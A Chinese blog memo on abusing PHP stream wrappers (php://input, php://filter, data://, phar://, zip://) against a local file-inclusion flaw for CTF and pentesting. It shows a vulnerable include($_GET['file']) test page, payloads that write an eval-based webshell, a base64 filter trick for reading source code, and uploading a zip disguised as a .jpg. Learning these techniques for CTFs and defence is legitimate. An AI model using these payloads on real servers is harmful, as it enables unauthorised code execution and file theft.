比赛中常用的php伪协议

写在前面

在ctf比赛及渗透过程中,php伪协议总是能发挥出其不意的效果,于是群里大佬们给总结了一下,让我学习了一波,在这里做个备忘!

相关函数

  1. include() //包含并运行指定文件。

  2. require()

  3. include_once() //只包含一次

  4. require_once()

  5. highlight_file() //打印输出或返回文件中语法高亮版本的代码

  6. show_source() //ighlight_file的别名

  7. readfile() //读取文件并写入到输出缓冲

  8. file_get_contents() //将整个文件读入一个字符串

  9. fopen() //打开文件或者 URL

  10. file() //把整个文件读入一个数组中

环境配置

在php.ini里有两个重要的参数allow_url_fopen、allow_url_include。

allow_url_fopen:默认值是ON。允许url里的封装协议访问文件;

allow_url_include:默认值是OFF。不允许包含url里的封装协议包含文件;

测试环境

双ON

test.php源码均为

<?php

include($_GET['file']);

?>

一张图看懂是否需要开启参数

a5.png

php://input

这个协议可以访问请求的原始数据的只读流, 将post请求中的数据作
为PHP代码执行。需开启allow_url_include

但是,当enctype=”multipart/form-data”时,
php://input是无效的。

使用方法:

php://input + [POST DATA]

a6.png

写入webshell

http://127.0.0.1/test.php?file=php://input

POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]); ?>'); ?>

a7.png

a8.png

PHP://filter

双off也可用,一般用于任意文件读取,有时也可以用于
getshell.

看一眼参数

a9.png

php://filter获取源码

用法:php://filter/read=convert.base64-encode/resource=[文件名]

a10.png

data://协议

可用来执行任意代码,该协议在双 On 的情况下才可以正常使用;

用法:

data://text/plain,[php代码]
data://text/plain;base64,[base64编码的php代码]
data:text/plain;base64,[base64编码]
data:text/plain,[php代码]

同样的,可以写入webshell

127.0.0.1/test.php?file=data://text/plain,<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]); ?>'); ?>

a12.png

http://、https://

虽受 allow_url_fopen 限制;但也能传webshell

我将shell.php改为shell.txt

然后蚁剑如图示连接

a13.png

它是成功的

file://

本地文件传输协议:file://[文件的绝对路径和文件名]
在双OFF的时候也可以用

a14.png

phar://

phar://[压缩文件路径]/[压缩文件内的子文件名]
当前测试环境下,绝对路径和相对路径都能成功。
例如脚本文件为shell.php,里面写入打包成shell.zip,然后再改名为shell.jpg,然后上传到服务器

蚁剑如图连接

a15.png

zip://,bzip2://, zlib://

都属于压缩流,可以访问压缩文件中的子文件。在双Off情况下可以使用

格式:
zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]

compress.bzip2://file.bz2(相对路径和绝对路径都可以,必须为bz2格式的压缩文件)

compress.zlib://file.gz(相对路径和绝对路径都可以)

其主要作用同上。

  • 版权声明: 本博客所有文章除特别声明外,均采用 Apache License 2.0 许可协议。转载请注明出处!
  • © 2020 丰年de博客

请我喝杯咖啡吧~

支付宝
微信